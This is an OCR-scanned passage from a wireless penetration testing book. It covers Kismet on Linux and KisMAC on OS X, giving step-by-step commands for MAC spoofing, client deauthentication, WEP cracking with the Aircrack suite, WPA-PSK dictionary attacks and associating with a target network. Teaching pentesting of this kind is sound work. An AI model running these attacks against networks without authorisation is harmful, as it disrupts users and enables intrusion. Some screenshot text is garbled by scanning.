unless you don’t want to remember the commands. Everything that automated
MAC spoofers can do can be done with the ifconfig command.

# ifconfig wlan0 hw ether FE:ED:DE:AD:BE:EF
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Figure 5.16 The MAC Has Been Spoofed

= roamer@submit: ~ /wardrives/wdfpt E]@E]
File Edit View Terminal Tabs Help

submit SirMACsAlot # perl SirMacsAlot.pl

by Roamer

Report Bugs to roamer@worldwidewardrive.org

Choose your 0S5 by number:
T oA ruaes
2. Fres

OpenBsD:

(should work for Mac 0SX but is untested):

1
Enter the interface to change the MAC of (ex ethl): wlano
Enter the I address to use: FE:ED:DE:AD:BE:EF
submt Sirk ot # 1fconfig wlano
wlano Link encap:Ethernet [gUEIsIls=H=vH=Syisp=/=H=x
inet addr:192.168.1.163 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:41586 errors:0 dropped:0 overruns:0 frame:0
TX packets:2918 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:o
RX bytes:10454708 (9.9 Mb) TX bytes:272962 (266.5 Kb)

Interrupt:18
submit SirMACsAlot # [] g

Deauthentication with Void11

In order to cause clients to reauthenticate to the access point to capture Address
Resolution Protocol (ARP) packets or EAPOL handshakes, it is often necessary to
deauthenticate clients that are associated with the network. Void11 is an excellent

tool to accomplish this task.

In order to deauthenticate clients, you first need to prepare the card to work
with Void11. The following commands, which require that the hostapd drivers be
installed, need to be issued:

cardctl eject

cardctl insert

iwconfig wlan0 channel CHANNEL_ NUMBER
iwpriv wlanO hostapd 1

iwconfig wlan0 mode master

In summary, these commands restart the card, configure the card on the desired
channel, configure the card to use the hostap drivers, and then place the card in
master mode to act as an access point.

The deauthentication attack is executed with:

voidll penetration -D -s CLIENT MAC_ADDRESS -B AP_MAC ADDRESS wlanO
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This executes the deauthentication attack until the tool is manually stopped.

Cracking WEP with the Aircrack Suite

No wireless penetration test kit is complete without the ability to crack WEP. The
Aircrack Suite of tools provides all of the functionality necessary to successfully crack
WEP. The Aircrack Suite consists of three tools:

B Airodump Used to capture packets

®m  Aireplay Used to perform injection attacks

®m  Aircrack Used to crack the WEP key

The first thing you need to do is capture and reinject an ARP packet with
Aireplay. The following commands configure the card correctly to capture an ARP
packet:

cardctl eject

cardctl insert

iwconfig wlan0 mode monitor

iwconfig wlan0 channel CHANNEL NUMBER

aireplay -i wlan0 -b MAC_ADDRESS OF AP -m 68 -n 68 -d ff:ff:ff:ff.ff:ff

The card must be “ejected” and “inserted” in order for the new driver to load.
The cardctl command, coupled with the eject and insert switches, accomplish this.
Next the iwpriv command puts the wireless card (wlan0) into rfmon or monitor
mode. Next, the iwconfig command is issued to force the card to listen on a specific
channel.

Finally, start Aireplay. Here you are looking for a 68 byte size packet. Once
Aireplay has collected what it thinks is an ARP packet, you will be given informa-
tion and asked to decide if this is an acceptable packet for injection. In order to use
the packet, certain criteria must be met:

®  FromDS must be 0

®  ToDS must be 1

®  The BSSID must be the MAC address of the target access point

®  The source MAC must be the MAC address of the target computer
®  The destination MAC must be FF:FF:FF:FF:FF:FF

You are prompted to use this packet. If it does not meet these criteria, type n for
no. If it does meet these criteria, type y and the injection attack will begin.
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Aircrack, the program that actually performs the WEP cracking, takes input in
pcap format. Airodump is an excellent choice, as it is included in the Aircrack Suite;
however, any packet analyzer capable of writing in pcap format (Ethereal, Kismet,
and so forth) will also work. To use Airodump, you must first configure your card to

use it:

iwconfig wlan0 mode monitor
iwconfig wlan0 channel CHANNEL_ NUMBER
airodump wlanO FILE TO WRITE DUMP_TO

Airodump’s display shows the number of packets and IVs that have been col-

lected (see Figure 5.17).

Figure 5.17 Airodump Captures Packets

= roamer@submit: ~/sploits/void11-0.2.0/console E]@@
File Edit Wiew Terminal Tabs Help
BSSID CH MB ENC PWR Packets LAN IP / # IVs ESSID [+
00:13:10:D3:80:1C 9 54 WEP -1 187728 RoamerRules
00:13:10: 1E:64:B2 3 48 -1 4b666 <no ssid>

-

Once some IVs have been collected, Aircrack can be run while Airodump is
capturing. To use Aircrack, issue the following commands:

aircrack -f FUDGE_ FACTOR -m TARGET MAC -n WEP_STRENGTH -g 3 CAPTURE FILE

Aircrack gathers the unique IVs from the capture file and attempts to crack the
key. The fudge factor can be changed to increase the likelihood and speed of the
crack. The default fudge factor is 2, but this can be adjusted from 1 through 4. A
higher fudge factor cracks the key faster, but more “guesses” are made by the pro-
gram; therefore, the results aren’t as reliable. Conversely, a lower fudge factor may
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take longer, but the results are more reliable. The WEP strength should be set to 64,
128, 256, or 512, depending on the WEP strength used by the target access point. A
good rule is that it takes around 500,000 unique IVs to crack the WEP key. This
number will vary, and can range from as low as 100,000 to perhaps more than

500,000.

Cracking WPA with the CoWPAtty

CoWPALtty by Joshua Wright is a tool for automating the offline dictionary attack
that WPA-PSK networks are vulnerable to. Just as with WEP cracking, an ARP
packet needs to be captured. Unlike WEP, you don’t need to capture a large amount
of traftic. You only need to capture one complete four-way EAPOL handshake and
have a dictionary file that includes the WPA-PSK passphrase.

Using CoWPAtty s fairly straightforward. You must provide the path to your
wordlist, the dump file where you captured the EAPOL handshake, and the SSID of
the target network.

cowpatty -f WORDLIST -r DUMPFILE -s SSID

Association with the Target Network

Once you have broken the encryption being used on your target, you need to asso-
ciate to the network. If the target is a WEP-encrypted network, you need to provide
the proper iwconfig command:

ifconfig wlan0 down
iwconfig wlan0 essid "TARGET SSID" enc AAAABBBBCCCCDDDDEEEE000011
iwconfig wlan0 mode managed

ifconfig wlan0 up

If this does not work, your target may be filtering by MAC address. If this is the
case, you may need to snift the traffic and determine a MAC address that is allowed
and wait for it to disconnect. Once it has disconnected, spoof your MAC to be that
of the allowed card and attempt to associate again.

Once you have associated with the access point, you won’t be able to communi-
cate with the network, because you haven’t configured your card for network access.
Issuing the dhclient or dhcped command is a good way to find out if the target is uti-
lizing a Dynamic Host Configuration Protocol (DHCP) server and will provide you
with an IP address. You may also be able to determine the IP address range being
used by going back to your Kismet results (see Figure 5.18).
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Figure 5.18 Identifying the IP Address Range with Kismet

= roamer@submit: ~ fwardrives/wdfpt E]@@
File Edit View Terminal Tabs Help
Network List— (Channel) Info B |
Name T W ch Packts Flags IP Range Ntwrks
+/|Client List —(Autofit)
T MAC Manuf Data Crypt Size IP Range Sgn
F 00:40:05:58:78:B5 Unknown 59 0 1lk 0.0.0.0 0
F 00:00:93:FO:FC: 02 .ﬁppleCom 8 0] 1k 192.162.0.104 o]
4
T
15
‘Battery: 75% lh33m8s v

From this client list, you can see that the AppleCom card is using the IP address
192.168.0.104.This tells you that the target is likely using the 192.168.0.0/24
range. Taking this into account, configure your card to use a valid IP in this range:

ifconfig wlan0 192.168.0.115 netmask 255.255.255.0
route add default gw 192.168.0.1

Now you need to determine how much access you have. Do you have access to
the internal network or do you just have access to a WLAN and any clients that are
attached? Basically, at this point you have established your foothold on the network
and you can continue on with your normal penetration testing procedures to
attempt to gain further access.

If your target is using WPA-PSK encryption, you need to prepare a wpa_suppli-
cant.conf file to use with this network. The wpa_supplicant.conf is a pretty easy file to
generate:

network={
ssid="TARGET_ SSID"
psk="TARGET-PSK"

}

Next, issue the wpa_supplicant command to associate with a WPA network:

wpa_supplicant -i wlan0 -c /path/to/wpa supplicant.conf -B
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Now, just like with WEP, you may need to spoof your MAC if you didn't asso-
ciate. Once you have associated, you can attempt to get a DHCP address; if that fails,
determine the range in use and configure your card manually. Once you have associ-
ated with the access point and configured your card to access the network, you have
established your initial foothold and can begin your normal penetration testing process.

Summary

Kismet is a very powerful tool for both WarDriving and penetration testing. One of
the biggest advantages of using Kismet is the ability to use monitor or rfmon mode.
This allows you to identify wireless networks that are not broadcasting the SSID in
the beacon frame and sets Kismet apart from it’s Windows counterpart NetStumbler.

It is important to understand the many features of Kismet in order to maximize its
effectiveness. You can edit the kismet.conf file to customize Kismet to your specific
needs. The Kismet panel interface provides many different user options for sorting and
viewing information about the networks you discover. Additionally, graphical front end
programs like gkismet can make viewing data a bit easier on the eyes.

Kismet is also a great tool for a penetration tester that needs to perform WLAN
discovery to identify a target network. Although not always 100% accurate, Kismet can
be used to identify the type of encryption used on a network. For complete accuracy
you can open your Kismet.dump file, which is a pcap formatted packet capture with a
packet analyzer like Ethereal or Wireshark to get an accurate reading of the encryption
level. Once you have identified your target and the encryption level there are several
open source tools available to continue the penetration test. Tools like SirMacsAlot can
spoof the MAC address and bypass MAC Address filtering. The Aircrack suite provide a
rich set of tools for collecting packets, injecting packets and cracking WEP. CoWPAtty
is a great tool for breaking WPA-PSK when used with a good dictionary file.

Performing a penetration test on a wireless network is often a way to get an ini-
tial foothold into the network. While always remembering to stay within scope, you
can then begin your normal penetration test process for the internal network with
your entry vector into the wireless network providing you with an excellent
jumping oft point.
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Solutions Fast Track

Preparing Your System to Wardrive

]

4]

]

Prepare your kernel to WarDrive with Kismet, by ensuring that you have
monitor mode (rfmon) enabled.

Prepare your kernel to WarDrive with Kismet by ensuring that you have
the proper support for your wireless card enabled.

Edit your configuration files for Kismet to ensure that you have Kismet
configured correctly and to your specific needs.

WarDriving with Linux and Kismet

]

]

Kismet can display a large amount of information about each network it
has discovered, including the IP address range, the channel, the encryption
type, and any clients that are connected to the network.

A graphical front end can be used with Kismet (e.g., gkismet).

Waireless Penetration Testing with Linux

4]

]

=

The first step of a wireless penetration test is WLAN discovery, which is
where you identify the target network.

The next step is to identify what, if any, encryption is in use.

Attacks against both WEP and WPA often require you to send a
deauthentication flood to the access point. Void 11 is an excellent tool for
performing this function.

The Aircrack suite (Aircrack, Aireplay, and Airodump) is an excellent tool
for cracking WEP-encrypted networks

CoWPALtty automates the WPA-PSK cracking process. You need to capture
the four-way EAPOL handshake and have a strong wordlist in order for
CoWPALtty to work.

Once you have broken the encryption and associated to the network, you
should consider your access as that of a foothold on the network and
follow your normal procedures for penetration testing.
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Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q.
A.

Is Kismet the only WLAN discovery tool for Linux?

No, there are several WLAN discovery tools for Linux. Kismet has the most fea-
tures and is the most popular.

. Does the Kismet server I connect to have to be on my local machine?

. No.To connect to a remeteKismet server, you need to replace 127.0.0.1 in

either the kismet.conf file or in the server dialog on gkismet.

. I noticed that when I installed Kismet it also installed.a program called gpsmap.

What is this?

Gpsmap is a program to make maps of your WarDrives. It is covered in detail in

Chapter 8 of this book.

. Is Linux the best operating system to use for WarDriving?

. That 1s really a matter of personal choice. Some users don’t want to go through

the hassle of setting up a Linux machine to WarDrive, so they use NetStumbler
for Windows. Kismac for OS X is a full-featured WarDriving and penetration
testing program.
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Introduction

With operating system (OS) X, WarDriving and Wireless Local Area Network
(WLAN) penetration testing have excellent wireless support and several tools to
make these tasks easy.

The first part of this chapter describes the steps necessary to configure and uti-
lize the KisMAC WLAN discovery tool in order to successtully WarDrive. (For addi-
tional information regarding WarDriving, see Chapter 1.) The second part of this
chapter describes how to use the information obtained during a WarDrive, and goes
on to detail how a penetration tester can further utilize KisMAC to successfully pen-
etrate a customer’s wireless network.

WarDriving with KisMAC

KisMAC is the best WarDriving and WLAN discovery and penetration testing tool
available on any platform, and is available for free at http://kismac.binaervarianz .de/.
Most WarDriving applications provide the capability to discover networks in either
active mode or passive mode; KisMAC provides both. On other platforms, WarDriving
tools such as Kismet for Linux and NetStumbler for Windows only provide the
capability to discover WLANSs. KisMAC is unique because it also includes the func-
tionality that a penetration tester needs to attack and compromise found networks.

Table 6.1 Prominent Wireless Discovery Tools and Capabilities

Tool Platform Scan Type Attack Capability
NetStumbler Windows Active No
Kismet Linux Passive No
KisMAC 0S X Active/Passive Yes

Starting KisMAC and Initial Configuration

Once KisMAC has been downloaded and installed, it is relatively easy-to-use. The
first thing you need to do is load KisMAC, which 1s done by clicking on the
KisMAC icon (see Figure 6.1). (Habitual WarDrivers will want to add KisMAC to
their toolbar.)
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Figure 6.1 KisMAC
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Next, you need to configure your KisMAC preferences and understand the
KisMAC interface.

Configuring the KisMAC Preferences

The KisMAC interface is very straightforward; however, because it is so robust, there
are many different configuration options available. The first thing you need to do is
open the “Preferences” window from the KisMAC menu by pressing KisMAC |
Preferences (see Figure 6.2). This section covers six of the eight available preferences:

®  Scanning

m  Filter

m  Sounds

®  Driver

m  Traffic

. KisMAC
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Figure 6.2 KisMAC Preferences

- KisMAC Preferences —
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Scanning Filter Sounds Driver GPS  Map Traffic .kismac

General Options

" Do not ask to save data on exit

ZTerminate KisMAC on close of Main Window

Scanning Options

There are two scanning options available that relate to the actions KisMAC takes
when closing:

B Do not ask to save data on exit

m  Terminate KisMAC on close of main window

By default, you will be prompted to save your data file unless you check the “Do
not ask to save data on exit” option when closing KisMAC. It is a good idea to leave
this option unchecked, thereby requiring you to manually save your data before
closing KisMAC so that you do not accidentally lose data. The second option con-
trols whether or not KisMAC terminates when you close the main window, which
1s a matter of personal preference. If this box is unchecked, KisMAC will be closed
but remain loaded, and will continue to display in the toolbar.

Filter Options

The Filter options allow you to designate specific MAC addresses that you do not
want included in your results (see Figure 6.3). Enter a MAC address and press add
to enable this functionality. This is especially useful for removing wireless networks
(e.g., your home network or other boxes you are using for an attack) from your
results. Additionally, if performing a penetration test, you will probably only want
traffic from your target in your data sets.
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Figure 6.3 Filter Options
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Sound Preferences

Unlike its Linux counterpart, Kismet, which requires a third-party application such

as Festival, KisMAC has built-in functionality for identifying the Service Set
Identifier (SSID) of wireless networks (see Figure 6.4).

Figure 6.4 Kismet Sound Preferences
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Easy-to-use drop-down menus (see Figure 6.5) allow you to assign difterent
sound effects to be played when a Wired Equivalent Privacy (WEP) or WiFi
Protected Access (WPA) network is found. Additionally, specific sound effects can be
played when a certain number of packets have been captured, and different voices

can speak the network name or SSID as networks are discovered.

Figure 6.5 Easy-to-Use Drop-Down Menus Allow You to Configure Sound
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Notes from the Underground

Choosing a WLAN Card

KisMAC has built-in support for a wide range of WLAN cards. When choosing a
card you must determine what your goals are; KisMAC has support for both
active and passive scanning. Active scanning relies on the broadcast beacon to
discover access points; the built-in Airport Extreme card on most iBooks and
Powerbooks works in active mode only.

Passive scanning does not rely on the broadcast beacon. In order to pas-
sively scan for wireless networks, you must have a card capable of entering mon-
itor mode (rfmon). Once a card has been placed in monitor mode, it can sniff all
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traffic within range of that card (or its attached antenna) and discover any wire-
less networks, including those that do not broadcast from the beacon.

Kismet supports Airport or Airport Extreme cards in active mode. Atheros,
Prism2, Hermes, and Prism GT chipsets support Airport and Cisco Personal
Computer Memory Card International Association (PCMCIA) cards in passive
mode. Additionally, Universal Serial Bus (USB) devices based on the Prism2
chipset support passive mode. Figure 6.6 displays the drop-down menu of avail-
able chipsets. Table 6.2 indicates some of the common cards and chipsets that
work with KisMAC and the mode they work in.

Table 6.2 Cards That Work with KisMAC

Manufacturer Card Chipset Mode
Apple Airport Hermes Passive
Apple Airport Express Broadcom Active
Cisco Aironet LMC-352 Cisco Passive
Proxim Orinoco Gold Hermes Passive
Engenius Senao 2511CD Prism 2 Passive
Plus EXT2

Linksys WPC11 Prism 2 Passive
Linksys WUSB54G Prism2 Passive
NorTe

If your adapter is not listed in Table 6.2, go to http://linux-
wlan.org/docs/wlan_adapters.html.tgz for a more complete list of
cards and their respective chipsets.

12-in. Powerbooks and all iBook models do not have PCMCIA slots,
and therefore require a USB WiFi Adapter (e.g., Linksys WUSB54G or an
original Airport) in order to work in passive mode. Unfortunately, there
are currently no USB WiFi adapters with external antenna connectors.
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Figure 6.6 KisMAC-supported Chipsets

v Apple Airport or Airport Extreme card, active mode
Apple Airport card, passive mode
Atheros based card, passive mode
Cisco Aironet card, passive mode
Prism2/Orinoco/Hermes card, passive mode
PrismGT based card, passive mode
USB device with Prism2 chipset, passive mode

Traffic

KisMAC also aftords WarDrivers the ability to view the signal strength, number of
packets transferred, and number of bytes transferred on detected networks. Networks
can be displayed using the SSID or MAC address (denoted in the “Options” panel
(see Figure 6.7) by Basic Service Set Identifier (BSSID). The average signal can be
calculated based on the amount of traffic seen in the last 1-300 seconds, and should
be adjusted depending on the degree of accuracy needed.

Figure 6.7 Traffic Preferences
e
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KisMAC Preferences

KisMAC is a built-in option that allows you to easily share your WarDrive data with
other KisMAC users. In order to use KisMAC, you need a KisMAC account, which
can be created from the KisMAC “Preferences” window.

Press the Sign up now. button to open the default browser (http://binaervar-
ianz.de/register.php) and create your KisMAC account (see Figure 6.8). Figure 6.9
displays the KisMAC registration window.

www.syngress.com



WarDriving and Wireless Penetration Testing with OS X ¢ Chapter 6 161

Figure 6.8 The KisMAC Preferences
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Figure 6.9 KisMAC Registration Window

register

Please register to continue!

username: (roamer

password: [rxrseses

again: FEREREEES

name: Chris Hurley

email: roamer@securitytribe.com
register

To send your data to the KisMAC server, when you have finished WarDriving
select the Export option from the File menu by pressing File ? Export ? Data
to KisMAC Server.

In addition to transmitting your results to the KisMAC server, a KisMAC
account allows you to search the existing KisMAC database.

NoTE

It is a good idea to disable KisMAC prior to doing work for a customer,
so that their data is not sent to a public server.
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Mapping WarDrives with KisMAC

In general, KisMAC is a very intuitive and easy-to-use tool; however, there is one
exception: mapping. Mapping WarDrives with KisMAC can be a frustrating experi-
ence at first. This section details the steps required to successfully import a map to
use with KisMAC.

Importing a Map
The first step required in mapping WarDrives with KisMAC is importing a map.
This difters from many other WLAN discovery applications (e.g., Kismet for Linux
or NetStumbler for Windows) where maps are often generated at the completion of
the WarDrive.

KisMAC requires the latitude and longitude of the center area of your drive in
order to import a map. These coordinates can be input manually, but it is easier to
connect your GPS first and get a signal lock.

Using a GPS

Most GPS devices capable of National Marine Electronics Association (NMEA)
output, work with KisMAC. Many of these devices are only available with serial
cables. In most cases, you will need to purchase a serial-to-USB adapter (approxi-
mately $25) in order to connect your GPS to your Mac. Most of these adapters
come with drivers for OS X; thus, make sure that the one you purchase includes
these drivers. Also, depending on your GPS model, you may be able to use a USB
GPS cable and eliminate the need for a USB-to-serial adapter. The GPS Store sells
these cables at http://www.thegpsstore.com/detail.asp?product_id=GL0997.

After you have connected your GPS, open the KisMAC Preferences and select
the GPS options (see Figure 6.10). Select /dev./tty.usbserial0 from the drop-down
menu if it wasn’t automatically selected.

Ensure that use GPS coordinates and use all points are selected and that the
GPSd 1s listening on localhost port 2947. Your GPS is now configured and ready to
go.To install GPS, download GPSd for OS X from http://gpsd.berlios.de/. Instructions
for compiling and using GPSd can be found at (http://kismac.binaervarianz.de /wiki/
wiki.php /KisMAC/WiFiHacks Compile GPSd).
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Figure 6.10 KisMAC GPS Preferences
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@ @ O =l e

Scanning Filter Sounds Driver CI;S Map Traffic .kismac

KisMAC will automatically detect your serial GPS. If you have a
USE GPS device, you will need to install a driver for emulation.

" Jdev/tty.ushserial0 =
an “not fixed" position: [ use GPS coordinates ﬂ
tracing options: “use all points I
GPSd hostname: localhost port: 2947

: Use Delorme Tripmate Mode

Another option is using a Bluetooth GPS; however, according to the KisMAC
Web site there is a problem with the Bluetooth stack in OS X you still have to use
GPSd with these devices.

Ready to Import

Now that your GPS device is connected, you are ready to import a map. To import a
map, select File | Import | Map from | Server (see Figure 6.7).

Figure 6.11 Preparing to Import a Map
F]00 Edit Channel Network Map Window H

New H#EN
Open... ¥O
Open Map HO
KisMAC file
Dgcrypt PEAF dump Metstumbler Text
Save 805 PCAP Dump {30
Save As {35
Save Map HS Image

Export > m

This opens the “Download Map” dialog box (see Figure 6.12).Your current GPS
coordinates are automatically imported into this box. Choose the server and type of

map you want to import.
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Figure 6.12 Choosing the Map Server and Type of Map
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There are several map servers available as well as different types of maps (i.e., reg-

ular or satellite), as shown in Figure 6.13.

Figure 6.13 Available Map Servers and Types of Maps
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v TerraServer {Satellite) f
TerraServer (Map) ;

After importing your map, save it by pressing File | Save Map so that if
KisMAC crashes during your WarDrive, you will have a local copy. KisMAC is an
outstanding tool that is prone to occasionally crashing, which can happen when a
large number of networks are found simultaneously. Additionally, many of the attacks
included with KisMAC require significant memory and processor power. Even more
unfortunate is that when KisMAC crashes, the system usually stops responding, thus
requiring a complete shutdown and restart of the system to resume operations.

Waypoint 1 is set to your current position. Before beginning your WarDrive, you
need to set WayPoint 2. From the OS X toolbar press Map | Set Waypoint 2 and

place the second WayPoint at your destination or any other place on the map if you

are unsure of your destination.
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Next, set your “Map” preferences by pressing KisMAC | Preferences (sce
Figure 6.14), which is where you set the preferences for the color scheme used on
your map and the display quality and sensitivity levels some colors denote.

Figure 6.14 KisMAC Map Preferences
B0 KisMAC Preferences 2
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IZI Color of Good Reception 5,00 Display Quality (1-10)
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After all of your options are set, you are ready to WarDrive. As access points are
discovered they are plotted on the map. Pressing the Show Map button displays
your map and your access points are plotted in real time as you drive. A typical map
generated by KisMAC using a satellite image, is shown in Figure 6.15.

Figure 6.15 Typical KisMAC Satellite Map
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KisMAC includes the ability to manipulate your map as well.

Notes from the Underground...

Disabling the Annoying “Sleep” Function

One of the more irritating features of OS X for WarDrivers is the inability to dis-
able the “sleep” function. In many states, driving with your laptop open is illegal.
A laptop that is asleep and not collecting access points poses a difficult problem
for OS X WarDrivers. Luckily, a kernel extension is available that allows you to
temporarily disable the OS X sleep function.

Insomnia (http://binaervarianz.de/projekte/programmieren/meltmac/) is
a kernel extension used to disable sleep in OS X. After downloading Insomnia,
unpack the kernel extension and issue the following command:

sudo chown -R root:wheel Insomnia.kext

This correctly sets the permissions on the kernel extension. This step is
required immediately after download and before using Insomnia. The kernel
extension has to be loaded each time you want to disable the sleep function:

sudo kextload Insomnia.kext

Now when you close the lid on your Powerbook or iBook it will not go to
sleep. When you are finished WarDriving and want to re-enable the “sleep” func-
tion, the kernel extension must be unloaded.

sudo kextunload Insomnia.kext

Your laptop is back to normal operation. It should be pointed out that Apple
laptops generate a lot of heat, so it's not a good idea to leave this kernel exten-
sion loaded all the time; just on the specific occasions when you need it.

WarDriving with KisMAC

Now that your KisMAC preferences are set, the correct driver is chosen, and your
map is imported, it is time to go WarDriving. The KisMAC interface is easy to navi-
gate and has some advanced functionality that combines the best features from other
WarDriving applications, including many commercial applications.
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Using the KisMAC Interface

The KisMAC interface (see Figure 6.16) is straightforward and easy to understand.
The main window displays all wireless networks that KisMAC has found, and can be
sorted by number (in the order it was found); SSID; BSSID MAC address; the type
of encryption used; the current, average, or maximum signal strength; the number of
packets transmitted; the size of the data stream (in kilobytes or megabytes); and the
time that the access point was last in range (Last Seen).

Figure 6.16 KisMAC Graphical User Interface
o0 KisMAC

# Ch | SSID BSSID Enc Type
03 <nossid>
1 10 JSMHOME 00:0C:41:46:7D:F4 WEP managed 18 18 26 0
2 11 Family Apple Netv 00:11:24:94:F2:64 NO managed 0 19 19 0
3 8 roamer 00:11:21:E0:98:00 NO managed 0 65 68 0

Signal Avg Max Packets Data Last Seen

00:13:10:1E.64:82 WEP managed 49 48 52 0 0B 2005-08-28 11:33:38 -0400
0B 2005-08-28 11:33:38 -0400
0B 2005-08-28 11:22:08 -0400
0B 2005-08-28 11:32:48 -0400
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Start Scan */
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After you have configured the options for your WarDrive, press the Start Scan
button (located in the bottom right corner of the interface) to begin locating access
points. Additionally, there are four buttons across the bottom toolbar that allow you
to see specific information about your current drive.

The KisMAC Window View Buttons

KisMAC allows you to see specific information about your current WarDrive by
selecting one of four buttons that are located on the bottom toolbar (see Figure 6.17).

The Show Networks button [ is the default setting. To return to the default
setting after selecting other options, press this button to see all of the networks that
have been discovered.
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Figure 6.17 KisMAC Window View Buttons
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The Show Networks button is the default setting. To return to the default set-
ting after selecting other options, press this button to see all of the networks that
have been discovered.

Selecting the Show Traffic button & brings up a signal graph of the net-
works that were discovered during your WarDrive. By default, this view shows a
signal strength graph (see Figure 6.18). Each access point is denoted by a unique
color, and a key showing which network is assigned to each color is in the upper
right-hand corner. The taller lines in the graph indicate a stronger signal.

Figure 6.18 “Show Traffic” View
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There are two drop-down menus in the upper left-hand corner. One is the
interval (15 seconds by default) that is displayed, and the other is a menu that allows
you to change the type of information that can be viewed using the “Show Traffic”
view. In addition to the signal strength, you can also display the packets per second
that are traversing the wireless network, or the total number of bytes that have been
sent and received by the access points.

WWW.syngress.com



WarDriving and Wireless Penetration Testing with OS X ¢ Chapter 6 169

The Show Map button @ allows you to view a live map of your current
WarDrive. (For more information on mapping your WarDrive, see “Mapping Your
WarDrive” earlier in this chapter.)

The last view is accessed with the Show Details button & .This view allows

you to obtain a significant amount of information about a specific access point (see
Figure 6.19).

Figure 6.19 “Show Details” View
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The information listed in the default view is on the left side of the interface, and
the information about clients that are attached to the network is on the right-hand
side of the interface. The information available in this view is essential to a penetra-
tion tester, and is discussed in detail in the “Penetration Testing with OS X” section
later in this chapter.

Additional View Options with KisMAC

In addition to the View buttons, KisMAC provides you with the ability to obtain
additional information about specific networks while in “Show Networks” view.
Using the OS X menu bar, press Windows | Show Hierarchy (see Figure 6.20).

With “Show Hierarchy” displayed (see Figure 6.21), you can gather more infor-
mation about specific networks; networks utilizing different types of encryption; or
all networks transmitting on a specific channel. This information is vital during a
penetration test.
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Figure 6.20 OS X Menu Hierarchy
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Figure 6.21 “KisMAC Hierarchy” View
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Penetration Testing with OS X

In addition to being used as a WarDriving application, KisMAC is the best tool
available for wireless network penetration testing. KisMAC has built-in functionality
to perform many of the most common WLAN attacks, using an easy “point-and-
click” interface. Additionally, KisMAC can import packet capture dumps from other
programs to perform many oftline attacks against wireless networks. This section
walks through many of these attacks on the target network.
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The following is a working example: You're contracted to perform a penetration
test for a company and need to correctly identify their wireless network. Using the
information gathered during your WarDrive of the area surrounding your target, you
successfully identified the target network based on the signal strength, map data, and
naming convention used on the access point. To successfully penetrate this network,
you have to determine what type of encryption is being used.

Attacking WLAN Encryption with KisMAC

There are several different types of encryption that wireless networks can employ.
The most commonly used encryption schemes are WEP and WPA, although there
are other, more advanced schemes available. Looking at the KisMAC display, you see
that the access point with the SSID Our_Target is a WEP-encrypted network.

Attacking WEP with KisMAC

Since you have determined that WEP is being used on your target wireless network,
you now have to decide how you want to crack the key. KisMAC has three primary
methods of WEP cracking built in:

®  Wordlist attacks
® Weak scheduling attacks

m  Bruteforce attacks

To use one of these attacks, you have to generate enough initialization vectors
(IVs) for the attack to work. The easiest way to do this is by reinjecting traftic, which
is usually accomplished by capturing an Address Resolution Protocol (ARP) packet,
spoofing the sender, and sending it back to the access point. This generates a large
amount of traffic that can then be captured and decoded. Unfortunately, you can’t
always capture an ARP packet under normal circumstances; however, when a client
authenticates to the access point, an ARP packet is usually generated. Because of
this, if you can deauthenticate the clients that are on the network and cause them to
reassociate, you may get your ARP packet.

Looking at the detailed view of Our_Target, you can see that there are several
clients connected to it. Before continuing with the attack, you need to determine
the role that KisMAC will play. Twwo hosts are required to successfully crack the
WEP key: one host is used to inject traftic, and the other host is used to capture the
traftic (specifically the IVs). In this case, you will use KisMAC to inject and will have
a second host to capture the traffic. While KisMAC and OS X are very powerful
attack tools, the actual cracking is often best performed on a Linux host utilizing
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tools such as Aircrack (www.cr0.net:8040/code/network),because KisMAC does not
include support for many of the newer WEP attacks, such as chopping. Hopetully,
these attacks will be included with future releases of KisMAC.

Deauthenticating clients with KisMAC is simple; however, before you can begin
deauthenticating, you must lock KisMAC to the specific channel that your target
network is using. From the top menu press KisMAC ? Preferences ? Driver
Preferences. Highlight the driver you are using and deselect all channels other than
the one that the target is using. Also, ensure that use as primary device is checked
under the “Injection” menu. Close the “Preferences,” highlight the access point you
want to deauthenticate clients from, and press Network ? Deauthenticate. If
KisMAC is successful in its attempt to deauthenticate, the dialog changes to note the
BSSID of the access point it is deauthenticating (see Figure 22). During the time the
deauthentication is occurring, clients cannot use the wireless network.

Figure 6.22 Deauthenticaion
m Map Window Help
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Comment:

During deauthentication, the number of Inj. Packets should increase (see Figure
6.22). After several of these have been captured, stop the deauthentication.
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Reinjection
Once several potentially reinjectable packets have been captured (noted in the

“Show Details” view of KisMAC), it is time to attempt reinjection. Press Network
| Reinject Packets (see Figure 6.23).

Figure 6.23 Preparing to Reinject Packets
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Crack [ 2

This opens a dialog box (see Figure 6.24) indicating that KisMAC is testing each
packet to determine if it can be successfully reinjected into the network.

Figure 6.24 Testing the Packets

Setting up packet reinjection...

Test suitable reinjection packets { Cancel |

Once KisMAC finds a suitable packet, the dialog box closes and KisMAC begins
injection. This can be verified by viewing the “Network” options (see Figure 6.25).

Now the traffic has to be captured with a second card (usually on a second
machine) in order to capture enough IVs to attempt to crack the key. KisMAC can
be used to perform weak scheduling attacks after enough weak IVs have been cap-
tured; however, it is probably more efficient to use KisMAC to inject packets, and to
use a tool such as Aircrack to perform the actual WEP crack.
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Figure 6.25 Reinjection
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Attacking WPA with KisMAC

Unlike WEP, which requires a large amount of traffic be generated in order to crack
the key, cracking WPA only requires that you capture the four-way Extensible
Authentication Protocol Over Local Area Network (EAPOL) handshake at authenti-
cation. Also, unlike cracking WEP, the WPA attack is an offline dictionary attack,
which means that when you use KisMAC to crack a WPA pre-shared key (or
passphrase), you only need to capture a small amount of traffic; the actual attack can
be carried out later, even when you are out of range of the access point.

WPA is only vulnerable when a short passphrase is used. Even then, it must be a
dictionary word or one that is in your wordlist. An extensive wordlist with many
combinations of letters, numbers, and special characters can help increase the odds of
successfully cracking WPA.

To attempt a dictionary attack against KisMAC, you may need to deauthenticate
clients (detailed in the “Attacking WEP with KisMAC” section). However, when
attempting dictionary attacks against WPA, everything can be done from one host,
which will cause the client to disassociate from the network and force them to
reconnect. This requires the four-way EAPOL handshake to be transmitted again.

Once you have captured an association between a client and the WPA network,
press Network | Crack | Wordlist Attack | Wordlist against WPA-PSK Key.
You will be prompted for the location of the wordlist or dictionary file that you
want to use. After you have selected your dictionary file, KisMAC begins testing
